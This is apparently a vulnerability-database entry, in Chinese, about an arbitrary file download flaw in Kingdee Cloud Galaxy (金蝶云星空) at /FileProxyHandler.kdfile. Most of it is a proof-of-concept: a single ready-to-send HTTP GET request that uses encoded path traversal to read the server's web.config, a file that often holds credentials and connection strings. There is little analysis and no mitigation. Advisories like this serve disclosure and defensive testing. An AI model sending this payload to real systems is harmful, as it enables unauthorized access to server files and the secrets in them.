金蝶云星空 /FileProxyHandler.kdfile 路径存在任意文件下载

2023-10-23 金蝶云星空 PoC Public

Description

金蝶云星空 /FileProxyHandler.kdfile 任意文件读取，攻击者可以获取服务器文件信息

PoC

GET /FileProxyHandler.kdfile?Area=0&F=..%2F..%2Fweb.config&Ope=SDL&Step=100000 HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/ebcb2dff-6892-4180-864c-5794ca561a3a

Related Vulnerabilities